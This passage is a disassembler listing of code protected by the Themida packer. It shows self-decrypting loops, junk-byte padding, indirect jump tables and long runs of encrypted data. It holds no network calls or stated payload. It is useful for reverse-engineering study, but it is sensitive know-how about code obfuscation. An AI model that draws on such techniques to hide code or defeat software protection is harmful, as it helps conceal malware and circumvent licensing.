55h ; --------------------------------------------------------------------------- loc_5EFDCA: ; CODE XREF: Themida_:005EFD69j call sub_5EFDE1 and dl, [eax+55h] xor ebx, [ebx+esi*8+689B1260h] ; --------------------------------------------------------------------------- db 0FFh, 0F8h, 0CBh dd 0C36CFE6Ch db 7Dh ; =============== S U B R O U T I N E ======================================= sub_5EFDE1 proc near ; CODE XREF: Themida_:loc_5EFDCAp mov edx, eax pop esi cmc add esi, 6E59h xor bh, 0F5h mov edi, 0 jmp loc_5EFE01 ; --------------------------------------------------------------------------- dd 184982DBh, 8A4273CCh db 67h ; --------------------------------------------------------------------------- loc_5EFE01: ; CODE XREF: sub_5EFDE1+12j ; sub_5EFDE1+B3j mov ecx, [esi+edi] cld add ecx, 1187C1E9h pusha cmc sub [ebp+6140899h], edi popa add ecx, 47CB2B7Fh mov [ebp+61415FDh], eax add ecx, 0E0CB4E2h jmp loc_5EFE37 ; --------------------------------------------------------------------------- db 2Dh dd 608AE520h, 0DA15E043h db 0B1h, 0E8h, 74h ; --------------------------------------------------------------------------- loc_5EFE37: ; CODE XREF: sub_5EFDE1+45j push ecx mov [ebp+6140CA9h], edi pop dword ptr [esi+edi] push ebx xor [ebp+6143435h], edi pop ebx and bl, 3Dh sub edi, 1142A483h mov edx, 16296002h add edi, 1142A47Fh mov ebx, [ebp+6140C25h] cmp edi, 0FFFF9274h jnz loc_5EFE8E xor [ebp+6141A11h], eax jmp loc_5EFEA0 ; --------------------------------------------------------------------------- dw 8C8Bh dd 4A2831EDh, 2E3F743Eh, 52FE7A6Dh, 59F343E1h db 75h, 0AEh ; --------------------------------------------------------------------------- loc_5EFE8E: ; CODE XREF: sub_5EFDE1+88j mov [ebp+6142579h], esi jmp loc_5EFE01 ; --------------------------------------------------------------------------- db 4Bh, 0C9h, 40h dd 98BA1E9Dh ; --------------------------------------------------------------------------- loc_5EFEA0: ; CODE XREF: sub_5EFDE1+94j lea ecx, [ebp+61B23B2h] push 0 push ebp call sub_5EFEB1 and [ebp-3Dh], bl sub_5EFDE1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5EFEB1 proc near ; CODE XREF: sub_5EFDE1+C8p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_5EFEB1 endp ; --------------------------------------------------------------------------- db 0DEh, 0D1h, 39h dd 6E967h, 3DF80000h, 0EBAFEA61h, 0BE9h, 51EFE100h, 29AD1C0Eh dd 0D64FA22Dh, 2B698D89h, 0BD890614h, 6141BE1h, 105585C7h dd 61240614h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 8ABF52C3h, 0D3259552h, 68F0Fh, 0D2810000h dd 1C7EEFBAh, 13D85C7h, 614h, 0BD890000h, 6140945h, 2501B5FFh dd 0FFF80614h, 140BD995h, 97CA8106h, 6A491624h, 7195FF00h dd 8B061429h, 4F7DEBC0h, 4154294h, 8C79CD38h, 820977FBh dd 0C2CC99Fh, 8E38EF12h, 24CBB0BBh, 32428B75h, 950A4189h dd 0C24894CDh, 21935E0Fh, 0BE13BBFFh, 8F0B6FD2h, 0D638673Eh dd 0EEB07800h, 171F47E6h, 0D586D9E0h, 0DEF1F1DAh, 0D8849313h dd 0D9AD8CCBh, 903F96C9h, 0D9A02F70h, 729AFDC6h, 1C1F4658h dd 705FE20Ch, 7F74FEC4h, 7CC52E47h, 73C413C9h, 3B021BBAh dd 83F5B507h, 5BE3673Fh, 1BD83412h, 15FE9h db 0 ; =============== S U B R O U T I N E ======================================= sub_5EFFD5 proc near ; CODE XREF: sub_406890+12Bp ; sub_409BC0+1Dp ... push edx mov edx, esp pusha call $+5 pop ebp sub ebp, 61B2442h mov eax, [edx+8] cmp eax, 78263845h jnz loc_5F012B mov eax, [edx+0Ch] mov ecx, [edx+18h] ror eax, cl mov ebx, 34E96D02h xor eax, ebx sub eax, 4 mov [ebp+6142B69h], eax mov ebx, [eax+4] mov edi, eax mov eax, [edx+10h] mov ecx, [edx+18h] ror eax, cl mov esi, 0AAB6F4B9h xor eax, esi sub eax, edi and eax, 0FFFFFFFCh sub eax, 4 mov [ebp+6141055h], eax mov eax, [edx+14h] mov [ebp+614013Dh], eax mov eax, [edx+18h] push ebx jmp loc_5F00EF ; --------------------------------------------------------------------------- push dword ptr [ebp+6140ECDh] jmp loc_5F0103 ; --------------------------------------------------------------------------- push dword ptr [ebp+6142665h] jmp loc_5F0103 ; --------------------------------------------------------------------------- push dword ptr [ebp+614129Dh] jmp loc_5F0103 ; --------------------------------------------------------------------------- push dword ptr [ebp+6141D11h] jmp loc_5F0103 ; --------------------------------------------------------------------------- push dword ptr [ebp+614080Dh] jmp loc_5F0103 ; --------------------------------------------------------------------------- push dword ptr [ebp+6140D55h] jmp loc_5F0103 ; --------------------------------------------------------------------------- push dword ptr [ebp+6141C3Dh] jmp loc_5F0103 ; --------------------------------------------------------------------------- push dword ptr [ebp+61411C9h] jmp loc_5F0103 ; --------------------------------------------------------------------------- push dword ptr [ebp+6140E1Dh] jmp loc_5F0103 ; --------------------------------------------------------------------------- push dword ptr [ebp+6142389h] jmp loc_5F0103 ; --------------------------------------------------------------------------- push dword ptr [ebp+61404B1h] jmp loc_5F0103 ; --------------------------------------------------------------------------- push dword ptr [ebp+6142501h] jmp loc_5F0103 ; --------------------------------------------------------------------------- push dword ptr [ebp+6140061h] jmp loc_5F0103 ; --------------------------------------------------------------------------- push dword ptr [ebp+6140D09h] jmp loc_5F0103 ; --------------------------------------------------------------------------- push dword ptr [ebp+6140499h] jmp loc_5F0103 ; --------------------------------------------------------------------------- push dword ptr [ebp+6140E15h] jmp loc_5F0103 ; --------------------------------------------------------------------------- loc_5F00EF: ; CODE XREF: sub_5EFFD5+65j mov ebx, eax mov eax, 0Bh mul bx lea ecx, [ebp+61B24A3h] add ecx, eax jmp ecx ; --------------------------------------------------------------------------- loc_5F0103: ; CODE XREF: sub_5EFFD5+70j ; sub_5EFFD5+7Bj ... call dword ptr [ebp+6140BD9h] pop ebx loc_5F010A: ; CODE XREF: sub_5EFFD5+14Ej mov eax, [ebp+6142B69h] cmp [eax+4], ebx jnz loc_5F0128 push ebx push 1 call dword ptr [ebp+6142971h] pop ebx jmp loc_5F010A ; --------------------------------------------------------------------------- loc_5F0128: ; CODE XREF: sub_5EFFD5+13Ej popa pop edx retn ; --------------------------------------------------------------------------- loc_5F012B: ; CODE XREF: sub_5EFFD5+18j popa pop edx mov eax, 7E41A8ADh jmp eax sub_5EFFD5 endp ; --------------------------------------------------------------------------- mov eax, [ebp+6141239h] lea ecx, [ebp+61B2591h] mov [ecx+1], eax mov eax, ebx jmp loc_5F0179 ; --------------------------------------------------------------------------- dw 0F8AFh dd 47D9h, 0Ah dup(0) db 0 ; --------------------------------------------------------------------------- loc_5F0179: ; CODE XREF: Themida_:005F0145j jmp loc_5F06D7 ; --------------------------------------------------------------------------- dw 8585h dd 6899060Ah, 5B76F135h, 3F4DDA5Eh, 2827C044h, 62AB175h dd 181C91B0h, 70B828Fh, 0ED316C98h, 0D95D5072h, 51E04DBCh dd 0D255EBB7h, 65677FA1h, 4A790636h, 3254D357h, 3E2D9589h dd 0FCE0FDB3h, 0E891B3CCh, 5A51E002h, 0A8E5E623h, 17686084h dd 0F57487F6h, 6F2A25D9h, 5DD7FB5Fh, 0B7F21E61h, 0D1CCF887h dd 2B428DB9h, 3D5403E7h, 4C7AFC0Eh, 0B9DD3951h, 0C012F282h dd 0DD22F439h, 0DA4CCE9Dh, 0E0E20F40h, 15399DADh, 7484F90Ah dd 25560210h, 5C6C2926h, 69653AF8h, 2691EA2Eh, 0F06B4AF9h dd 0CF45C953h, 81B9F410h, 0A4D4D1FEh, 70BD2823h, 53F06BC1h dd 0FD4CE942h, 7653F06Bh, 4724EE12h, 0BAF51130h, 5FD7E976h dd 0C7437B32h, 939EB651h, 62864357h, 0AFF51269h, 0F00E330Eh dd 0A8CCB053h, 67DB5A6Ah, 5C53F00Eh, 0D01E5CB3h, 2E859528h dd 0B87A315Fh, 57CFh, 6567E500h, 0B5C5C0CDh, 9C1D2D51h dd 53F092A3h, 5A98FF90h, 85948C94h, 122h, 66678E00h, 0CA90437h dd 53F0923Dh, 0DB54F014h, 764ADF93h, 81A5D8E9h, 0ECE4C76Fh dd 9E943553h, 7D30512Eh, 6B14324Dh, 0E39DC938h, 0E6163A0Fh dd 6F9EF5A2h, 7CEB2F5Eh, 5CF534Ah, 5356867h, 2454497Ah dd 1F2E45F2h, 0EE79BDF0h, 0D6A9A1DCh, 73CEFEBBh, 0BF7D7D94h dd 0FF85948Ah, 6410238Ch, 4B31AC0Fh, 532F5800h, 728084F8h dd 95F1h, 0C5C78600h, 433E49D6h, 0C345CF4Bh, 6356867h dd 0DD574647h, 36739EE1h, 4C494605h, 29A2E6C6h, 0BE029D5Bh dd 0A0805CBh, 0D0FF0E65h, 5B2259DDh, 5808C2Eh, 0A76DE9E1h dd 94A4D9E8h, 113DBDCBh, 0FEE26696h, 66D552CDh, 0FD53F0F8h dd 6838E99h, 248092F6h, 4177E99h, 0CA484345h, 94F50826h dd 1A373685h, 0F2182B74h, 0B79B53F0h, 4EE68193h, 32000000h dd 0AC9F188Bh, 8C53F092h, 0CEB2067Fh, 5789744h, 235E6AF5h dd 0B9D07F2Bh, 2067B8Ah, 0DCD1F289h, 188BEC56h, 0F092AC9Fh dd 0D1232753h, 6494093Ah, 0F09279C5h, 42A94653h, 337CEFh dd 8353F092h, 479575BFh, 5785948Ch, 1, 316C675Dh, 0B2444619h dd 0C0F81C91h, 4281E847h, 1893B147h, 0E85B30F4h, 0F092FC4Fh dd 1137753h, 0B7D35CADh, 6B2223FCh, 0B8D3F753h, 0DC623F7Fh dd 3F4C3049h, 9DD063CCh, 0F85355E4h, 0E49D8CBFh, 1F030755h dd 7E8EFF00h, 0D3AC181Ah, 4536FAB1h, 8B890406h, 100B2D4h dd 0F4187C8Ch, 9DD865C4h, 0A4D355E4h, 910C3E4Dh, 5D6FFE8Dh dd 78BA1E2Eh, 0D2EAA1A3h, 0B007B8Dh, 20D90B7Dh, 0DC560B0Dh dd 729936E0h, 417A3153h, 4FFA49D6h, 157955E4h, 31FF5B1Fh dd 4D8BA969h, 15Ah, 1B61806Bh, 90C747E0h, 543849DCh, 72295B24h dd 670F31AEh, 81053568h, 0F0126D9Dh, 0F9B4D3AAh, 350445C1h dd 4E55E490h, 6096A6CAh, 7B8DBCD3h, 8A50FC00h, 0D48BA88Eh dd 0FB397495h, 4E08h, 0F48BA400h, 27A3DBD2h, 400CD9EDh dd 9B12344Bh, 922DE763h, 0F0924615h, 0CE6FDAD3h, 0D3F09273h dd 62868CF0h, 892CEECh, 0F0FB9CAFh, 0FD3317D3h, 3D212466h dd 0D89DAC0Dh, 0D5BAD3F0h, 0F79D68BEh, 0D8885BC4h, 0C74B53F0h dd 0CCE943h, 8B070000h, 92AC9F18h, 232753F0h, 6F0CDDD1h dd 0F09273CEh, 688CF053h, 80FD0C53h, 32F43172h, 0CB49DC6Ah dd 85C43747h, 48070D88h, 24C34736h, 0C3759022h, 55B1C9C4h dd 99BD1931h, 9B7CC061h, 335E55E4h, 8394676h, 4B36595h dd 7AD125EDh, 78AEE5E3h, 9051D2E2h, 2AB143C8h, 3D1868C3h dd 428F94B1h, 1335EA28h, 98E79498h, 0CDE1336Ah, 0F233483Ch dd 4FCFDFFDh, 65FA1276h, 4C132863h, 0CF4B433Ah, 0E7E67945h dd 0BCCD92AAh, 0D24DC9C1h, 649C08B7h, 1543CE37h, 0CD6AD9F1h dd 5FDF267Eh, 903F91F5h, 0AF8EB179h, 3D7AD548h, 5FDF260Eh dd 3B738185h, 0D7ADDEAAh, 9C88D4ABh, 7C4FC506h, 0F4ACBA33h dd 3A513545h, 0A56F2623h, 618027EDh, 6D99E01Bh, 66C7E032h dd 49DB7451h, 0F18EBE82h, 2358DCCFh, 7E8D2F5Ch, 2001F03h dd 0B0D2898Bh, 1A9B0906h, 55EBB42Fh, 98BCA0A4h, 8767C160h dd 7F0C93A8h, 7CBF57E9h, 858F4EDEh, 4E708FE6h, 3A4CDB5Fh dd 16344B43h, 9E86F9Fh, 0EAA1A3E2h, 0A3966D1h, 89142DF6h dd 5CCB8F85h, 0E85B732Ah, 0FB397491h, 1969h, 0F48B8700h dd 28ACDCD9h, 1E6DDEEAh, 2B98B0EDh, 0F092BF8Ah, 2C503453h dd 67677CE6h, 497B0434h, 29253A52h, 4015E6Eh, 0DFEE7189h dd 0B6D5AAA2h, 8EBCC3FBh, 6D98E717h, 46471830h, 681F2757h dd 338Bh, 68243C89h, 239Fh, 68240489h, 5EEh, 53241C89h dd 25E2B951h, 0CB89061Bh, 5BD88959h, 241C8B54h, 4C481h dd 97680000h, 89000022h, 438F2404h, 241C8B08h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_585C7C ; --------------------------------------------------------------------------- db 0C8h dd 8BD08FDDh, 635F0B1Fh db 9Dh, 0CFh, 0A9h ; --------------------------------------------------------------------------- loc_5F06D7: ; CODE XREF: Themida_:loc_5F0179j mov eax, 61B2AC7h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 1E6BA5EAh, 4D2AA512h, 13B582ADh, 6BD06F4Fh, 599F4D8Bh dd 76BD867Ch, 2A2CFAD7h, 1D1CB3EDh, 5739FA1Ah, 6FBBD493h dd 2D1A2F3Dh, 71B30ADAh, 4427CE49h, 11B53440h, 387EE41Dh dd 4E013D4Dh, 1B65B5Bh, 7CBD3E54h, 6F24E257h, 5E8439E7h dd 4670F678h, 419810B1h, 0CCA923Eh, 4D9A291h, 3CD83C70h dd 18A9AF26h, 5A607F94h, 1AA89EEBh, 44633F25h, 0AE8h, 4A0D1500h dd 2499F961h, 0E8B73FD3h, 0Bh, 0DCB85B71h, 8393A0E9h, 80559CBDh dd 5F5A43DFh, 0C781DE8Bh, 6820h, 0EE9h, 84649400h, 890ACD5Bh dd 3A4A3C09h, 6896643Eh, 0 ; --------------------------------------------------------------------------- jb loc_5F07A3 sbb cx, 0F30Ah loc_5F07A3: ; CODE XREF: Themida_:005F0798j pop esi cld loc_5F07A5: ; CODE XREF: Themida_:loc_5F0854j mov eax, [edi+esi] mov dx, 0DCEAh add eax, 4E569249h clc sub eax, 59830074h mov ecx, ebx sub eax, 5584B5A0h mov ebx, edi push eax movzx edx, ax pop dword ptr [edi+esi] jmp loc_5F07E3 ; --------------------------------------------------------------------------- db 0FFh dd 5D0A1959h, 76426778h, 4792F7D7h, 0B656270Bh db 0AAh, 0C7h, 81h ; --------------------------------------------------------------------------- loc_5F07E3: ; CODE XREF: Themida_:005F07CAj push eax jnp loc_5F07FD jmp loc_5F07FD ; --------------------------------------------------------------------------- db 55h dd 0F7AA0652h, 9E39266Fh, 5756168Ch db 9 ; --------------------------------------------------------------------------- loc_5F07FD: ; CODE XREF: Themida_:005F07E4j ; Themida_:005F07EAj pop edx sub esi, 4A79BEC8h pusha pusha call near ptr loc_5F080B+5 loc_5F080B: ; CODE XREF: Themida_:005F0806p sal byte ptr [edx+5B16BD2Dh], 1 add cx, 0C6BAh popa jge loc_5F081E cmc loc_5F081E: ; CODE XREF: Themida_:005F0817j popa add esi, 4A79BEC4h xor edx, 1BDF25A4h cmp esi, 0FFFF98E8h jnz loc_5F084B cld jmp loc_5F0865 ; --------------------------------------------------------------------------- adc ebx, 6Ch inc esi mov ebx, 0E83462C8h mov eax, ds:0D73FB310h loc_5F084B: ; CODE XREF: Themida_:005F0831j jnb loc_5F0854 mov dx, di loc_5F0854: ; CODE XREF: Themida_:loc_5F084Bj jmp loc_5F07A5 ; --------------------------------------------------------------------------- db 17h, 0C8h, 0BEh dd 562E4639h, 0D9F26C1Fh db 0 ; --------------------------------------------------------------------------- loc_5F0865: ; CODE XREF: Themida_:005F0838j jmp loc_5F0925 ; --------------------------------------------------------------------------- xor [edi-48h], ebx imul edx, edi, -64h inc ebp retf 0C8C3h ; --------------------------------------------------------------------------- dd 0ABDAB6E1h, 0B395A7ACh, 0A1F44592h, 0DA00B395h, 20A7ECABh dd 6BB2915Dh, 2096B1F4h, 9B552075h, 0BCF26BB7h, 0A19692A5h dd 603A7594h, 329FB799h, 0E9B599BDh, 92A59CB2h, 95ACA3F2h dd 97B1EF76h, 0B4F94E00h, 5C009FA5h, 4AF07B6Bh, 0D0008A92h dd 0F545F352h, 79A3F653h, 0F144D6D9h, 0F445E3AFh, 0D77D41h dd 0BF9792B0h, 60FD756Bh, 0F996BFCFh, 20B293BCh, 9B57207Dh dd 9492ABF7h, 0E3B29EBDh, 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh dd 0F66DB4EEh, 93BCE1B6h, 97B3ED72h, 0F1B6D000h, 0F0A8CD43h dd 0 dd 9D744700h, 99E0E312h, 5Eh db 0 ; --------------------------------------------------------------------------- loc_5F0925: ; CODE XREF: Themida_:loc_5F0865j jmp loc_5F1E53 ; --------------------------------------------------------------------------- push 61B2F7Ah jmp loc_585C7C ; --------------------------------------------------------------------------- push 61B3067h jmp loc_585C7C ; --------------------------------------------------------------------------- push 61B3135h jmp loc_585C7C ; --------------------------------------------------------------------------- push 61B329Ah jmp loc_585C7C ; --------------------------------------------------------------------------- push 61B3333h jmp loc_585C7C ; --------------------------------------------------------------------------- push 61B343Eh jmp loc_585C7C ; --------------------------------------------------------------------------- push 61B34DCh jmp loc_585C7C ; --------------------------------------------------------------------------- push 61B357Ah jmp loc_585C7C ; --------------------------------------------------------------------------- push 61B3629h jmp loc_585C7C ; --------------------------------------------------------------------------- push 61B376Bh jmp loc_585C7C ; --------------------------------------------------------------------------- push 61B386Fh jmp loc_585C7C ; --------------------------------------------------------------------------- push 61B39EEh jmp loc_585C7C ; --------------------------------------------------------------------------- push 61B3ADAh jmp loc_585C7C ; --------------------------------------------------------------------------- push 61B3C0Ch jmp loc_585C7C ; --------------------------------------------------------------------------- push 61B3D6Ah jmp loc_585C7C ; --------------------------------------------------------------------------- push 61B3F5Fh jmp loc_585C7C ; --------------------------------------------------------------------------- push 61B404Bh jmp loc_585C7C ; --------------------------------------------------------------------------- dd 0B87C2F5Fh, 0AB6F1E2Fh, 9094113Ch, 7E82F917h, 6BAFE2E1h dd 4746CCE0h, 2C59C64Ah, 1632AD71h, 0F608979Bh, 0AB168387h dd 0EBBC3F0Ah, 951FB455h, 6366567h, 0E2434779h, 53F09257h dd 8EBF68ECh, 476BEF1Fh, 5622C3C3h, 6336F825h, 0E17849DCh dd 1D65AFE2h, 497B0239h, 4DFC3952h, 0C655E482h, 0B5F4B042h dd 55E4828Ah, 0AB86ED68h, 3AF8B5D4h, 0A8988856h, 3A7BD68Bh dd 55E49A0Fh, 9AD762C3h, 0E86C55E4h, 8162B094h, 28h, 0C61802Fh dd 0F09290A3h, 0B2F1353h, 6CA7B7F0h, 543849DCh, 9CBA8524h dd 0BD5855E4h, 9AD60456h, 0E1E08BA8h, 0CC000000h, 606AFD8Bh dd 0AEA88ECFh, 72D6E6A3h, 0F517C44Eh, 0DAE97686h, 34DC94A7h dd 0D665C23Bh, 6D53F09Eh, 2DBA37E9h, 98BCF112h, 33552A9Ah dd 0E3C4378h, 37A8897h, 98AAB5F1h, 3A7BD6E5h, 53F0660Fh dd 0C6728084h, 0F063D287h, 17C8E53h, 0D66062FDh, 0A4D4F8B5h dd 0ACDFAD3Ch, 601D2A31h, 83072392h, 0D4B849DCh, 0ABD13050h dd 0DBFA1790h, 90D4FCAh, 0D35C6BF2h, 93BB619h, 0C1789C92h dd 0EE79BDA1h, 0D95DA2DFh, 0AB630346h, 12A56133h, 0ED1D0000h dd 0D0F16EB2h, 0C3CE59DDh, 0A7A542C6h, 90BF28ECh, 0BE92191Dh dd 8084F908h, 6FB3EAE7h, 55D9D4F0h, 41C5B8CAh, 0F948D554h dd 7A55EBBDh, 6867D7D9h, 46470635h, 15B0C157h, 0D1EC8691h dd 0F6089743h, 0C4B7C990h, 3A0950B4h, 0B953F0A8h, 0A76DB1D5h dd 27D9F48Bh, 0C3477726h, 806155DFh, 0C866C7F4h, 949DC6Ch dd 5A77F605h, 65AF2B23h, 9C65D859h, 434555E4h, 1D2F3048h dd 0FF015E6Eh, 0F81FB88Ch, 7CF43732h, 64625137h, 10FF357Dh dd 0B033F9F9h, 8D438BA8h, 69000000h, 6366567h, 27574A79h dd 0DA6ABCB4h, 0F1F32641h, 3FE1B223h, 2E3D53F0h, 0FD92601Dh dd 0D34CD0CBh, 5AC2FAB1h, 61CEFD8Bh, 49DCD7C5h, 6E161A7Eh dd 8BD2E99Fh, 0B0F3017Ch, 0CB320B77h, 3381C4Fh, 0CC504D7Ch dd 0B6793453h, 63030C3Ch, 0B8C6D444h, 11h, 1E898D00h, 0F36CB0EDh dd 0CE59DDD8h, 0A641C5C0h, 0A526EAA7h, 890403B3h, 0B0ED1A85h dd 0DCD7F36Ch, 0CEBDCF58h, 53DC2F4Ah, 55EBA2E0h, 67ECD063h dd 76F13568h, 1FD55954h, 6366567h, 0B5EADF95h, 1EC271BEh dd 0FD4153F0h, 34BF752Bh, 6C1F21FEh, 99143FA8h, 4AEC1E61h dd 22344439h, 7B63417h, 0EF385C94h, 8387ABE2h, 0DE2FD99Dh dd 0E21491AAh, 7B49DC14h, 0BEA2DBECh, 0C45CEE4Fh, 48995C7Eh dd 219C0F3Ch, 6E2AB584h, 314ACEAEh, 6E2B45F4h, 0B87ADEAEh dd 422ED53Dh, 40ED5EB4h, 50422FF1h, 0D2EA0E72h, 0DEED9B6Ah dd 2F77C263h, 888C5042h, 47FC398Ah, 0C84A6DA6h, 16283744h dd 204A367h, 3F14848Bh, 3CAC6564h, 10EA6Eh, 7F325200h dd 621B2CBBh, 8B06019Eh, 0B3EA1887h, 0DCD1F06Fh, 49F9D358h dd 24C3473Ah, 3DAA6E27h, 15929611h, 1974B8F3h, 0A33605A2h dd 64D55EBh, 0D6F48B82h, 848655DFh, 7889F109h, 9CBEFF0Ch dd 1549DC96h, 7495ED31h, 84AA0B00h, 2D4FC893h, 0AD901129h dd 4F5FD89Bh, 0C3696980h, 1391BC95h, 48403D4Ch, 43A546CCh dd 73000000h, 0E01B6180h, 0E3316C99h, 2CD967C0h, 0EE5249DCh dd 0ED1B62DDh, 0F00286B6h, 0B0742F5Bh, 0E4DC54E9h, 0DBC89855h dd 30B77E4Dh, 0D7E9A66Ch, 0CBC760A4h, 48EAB8D0h, 0B9000010h dd 0DEEEA3A2h, 0E49FAD7Ah, 0F48B242Eh, 0A7692ED9h, 0E0FA27FCh dd 97B3CCFCh, 823AF81Ch, 0B9E61563h, 49DB6901h, 0EE7D8EF2h dd 2E5DA1DCh, 0C7D96C56h, 0EE243F7Dh, 6F9C0F31h, 83BBF210h dd 49B10D07h, 0A0BFCCB8h, 7ADEEE9Fh, 0CDAE0FB8h, 664FC09Eh dd 7092E9E2h, 51720D3Dh, 84A82C5Ch, 1C2E3D8Eh, 0BEFF6A61h dd 5FC66C83h, 42F63C00h, 99143249h, 702FE561h, 0AA38484Eh dd 622D0954h, 1EC67574h, 0F95D5FC6h, 1ED665C2h, 0E96D5FC6h dd 0DA5BB6C5h, 5FC61E6Fh, 5030C546h, 97EBBF4Ah, 0DD4561B3h dd 0E243780Ch, 45EA253Ch, 5CDEEB72h, 0FF5B732Ah, 0ED27A3DBh dd 86EB195h, 0B85CE3DFh, 0F857240h, 0CDFD0000h, 0B0D14ED2h dd 0A3AE39FDh, 878522E6h, 709F080Ch, 5E72F93Dh, 60A4D9E8h dd 4FD3CAC7h, 35F9B4D0h, 21E598AAh, 99A8F574h, 1A55EBA0h dd 86B937F9h, 4153F092h, 34A7D4A0h, 0B28A03Ch, 0BBD05489h dd 0F0EFCF7Ah, 32C04453h, 0DB32A643h, 0C6F55949h, 2E50878Eh dd 0AD6766BEh, 42394B12h, 6B143249h, 0EC35BDA0h, 0E92B4FD5h dd 118CBE29h, 0EB16AFAh, 8B83FE0Dh, 4F86190Fh, 0B7333C1h dd 0EE7D8EFAh, 5053A1DCh, 0C7207BD7h, 87888C4Fh, 62FEBB2Bh dd 0ECC7D545h, 5400000Eh, 2AB57934h, 7A06419h, 128D910Ch dd 0EA75B9F4h, 0D962A6DBh, 4D404FF7h, 74315EC9h, 601B37B0h dd 8A01039Ch, 1790EB86h, 55EBA124h, 679014BFh, 95063665h dd 924EFD3Ah, 0B3C553F0h, 0FE241D87h, 0F93B5F79h, 5E6D2022h dd 0B24A806h, 59B611E5h, 0EA988E73h, 0CDF93B03h, 0ED1D90B2h dd 79C97692h, 47BFDA6Bh, 430486Ch, 9E9EA4CBh, 0C675B22Dh dd 5D53F0FEh, 3D543BF9h, 0DDE877E2h, 2D2CA8A0h, 53F0FE1Eh dd 3519237h, 32863657h, 0F624C44Eh, 408594E5h, 0C7F948D5h dd 167A53F0h, 8EF631Ch, 80490000h, 47E01B61h, 49DB4F91h dd 96D5E66Ah, 8B0F3F7Ah, 0B5C33E89h, 0ECE92CC0h, 2EFD3708h dd 1A29761Ch, 9955EBB3h, 5C403D4Eh, 4D7C0338h, 56DC3850h dd 880305A2h, 0B30E3170h, 38C955EBh, 51CC3F4Ch, 0B38AB9E6h dd 50955EBh, 0EBB375C4h, 9D8A8E55h, 0FFFE346Fh, 4FC7B753h dd 5DAF70D4h, 1B62FF50h, 0DE191A3h, 29590000h, 1435B276h dd 0FF0A9599h, 0E3E17E82h, 0CCFB64A8h, 0EACE4DD1h, 0AC702D5Ch dd 9B9F1633h, 8185000Ch, 65A9E4E6h, 0C574B108h, 5E55EBA6h dd 6567F335h, 0D6950636h, 44C0F8B5h, 21F3AADBh, 1525586Ah dd 753BA55h, 859488D9h, 838E5h, 86B93300h, 4153F092h, 6A7D4A0h dd 49DB4FEEh, 95D4E76Bh, 87F43873h, 192BCDF8h, 0CA4E7E62h dd 0C1719348h, 94A7CBC6h, 0CDFDB8D5h, 88FBCB49h, 2422D4F1h dd 0D1354569h, 0EE9A6B43h, 0BBFE50DDh, 13774FC7h, 0FF43C40Ch dd 7E4CBC62h, 0D43h, 0C108BBBh, 0F73B7293h, 0DC205D68h dd 0CA4E4543h, 0AF732E5Dh, 8BBA082Ch, 78951216h, 626EF93Dh dd 4244E327h, 57AAC74Bh, 0EBA67BD6h, 515BF855h, 6366567h dd 24544779h, 3644AB44h, 859488E8h, 7A4F6h, 0FD8B2200h dd 1FF20D59h, 5E56DC26h, 65C2F98Fh, 49DB331Eh, 0AF1A3115h dd 0C1F9B4D0h, 0FA128FBEh, 0E3B87A9Eh, 1566AAE1h, 4E7E3B56h dd 719348CAh, 9CA3023Ah, 5B55EB3Eh, 60CDFE8Ah, 4FC73ACEh dd 334A1167h, 0C2F2931Fh, 5F6F2A25h, 1250D7FBh, 0EE62FF70h dd 0CA5AC7Eh, 0ED1D0000h, 0D0F16EB2h, 0C3CE59DDh, 0A7A542C6h dd 90BF28ECh, 0BE92191Dh, 8084F908h, 6FB3EAE7h, 55D9D4F0h dd 41C5B8CAh, 0F948D554h, 7A55EBA7h, 6567D7D9h, 47790636h dd 0AB442454h, 7092E944h, 0B55790CFh, 264AF013h, 23DE0CECh dd 0FAF88595h, 8D000006h, 0D8C28F7h, 414D0477h, 6ED02246h dd 0F09289B9h, 0D1A74653h, 86394FBAh, 0FA49D61Fh, 7953F064h dd 0CA750315h, 0CB6F6EA4h, 7C49DBAAh, 6A9CE318h, 4E70EF33h dd 31EEA7A4h, 45759914h, 0F3A7BD6h, 8455EC80h, 0AB3A7280h dd 0F501AEDDh, 0E4FC07Bh, 59D1050Ah, 0FB5362FEh, 0BF629h dd 433E4E00h, 6E1F20BFh, 97123DAAh, 0BFF61493h dd 0A0DDEC7Bh, 4DF5DF5Ch, 20BF433Eh, 39A66A23h, 118E920Dh dd 1D78BCEFh, 0A43201AEh, 2B155EBh, 2165679Eh, 0F092B584h dd 9D586C53h, 0D2CE0B73h, 45769AFEh, 73FE4DEAh, 0E37553F0h dd 2298B1B3h, 0B57F63CCh, 59547609h, 0C584F721h, 5BBFCFCAh dd 0ACDB32D9h, 2D18119Ah, 0A9C2FEA9h, 7D58185h, 978594A8h dd 13Ah, 3665671Dh, 54477906h, 0CCA15127h, 0F8FAA382h dd 5E6E1D2Fh, 87838FAh, 3F7893F9h, 49DCEF73h, 397890F4h dd 55E40F06h, 0C01279E4h, 8BA9261Ah, 25A4h, 61807000h dd 0D747E01Bh, 2849DC6Ch, 0C1F9B4DFh, 88292145h, 55E49CB5h dd 11618857h, 8BA89ACBh, 0BAEBh, 0F48BC100h, 27A3DBD2h dd 910C3EEDh, 0AEE5E37Ah, 0CCF83A9Eh, 0E11994B3h, 19316C9Eh dd 0C5494446h, 0F04EC384h, 3E6D9F53h, 891681FAh, 53F0BEBAh dd 0E7DF5539h, 0DC597206h, 49DFDB20h, 87B2F36Eh, 0B755E642h dd 71D5E598h, 0B4E7391Dh, 61D50153h, 89E2060Ch, 0E6DA1D2Ch dd 37499655h, 0F3C2044h, 0D85C5170h, 0CA4D404Fh, 69182DA0h dd 0B4D2E058h, 0C00000Ah, 0E27D81FCh, 0FF68ACE1h, 0CA55D9D4h dd 0A23DC1BCh, 0A12AEEA3h, 9508078Fh, 0BCF91691h, 0A8E3EF78h dd 0D2C9FB64h, 5FD8234Eh, 55EBA5ECh, 67E82C67h, 9AF13568h dd 0BDCDC8C3h, 0B6852259h, 0CD53F092h, 0F214CB49h, 67BD77BBh dd 79063665h, 1AD05447h, 505h, 0C271BE29h, 653F092h, 0F092AA99h dd 51252953h, 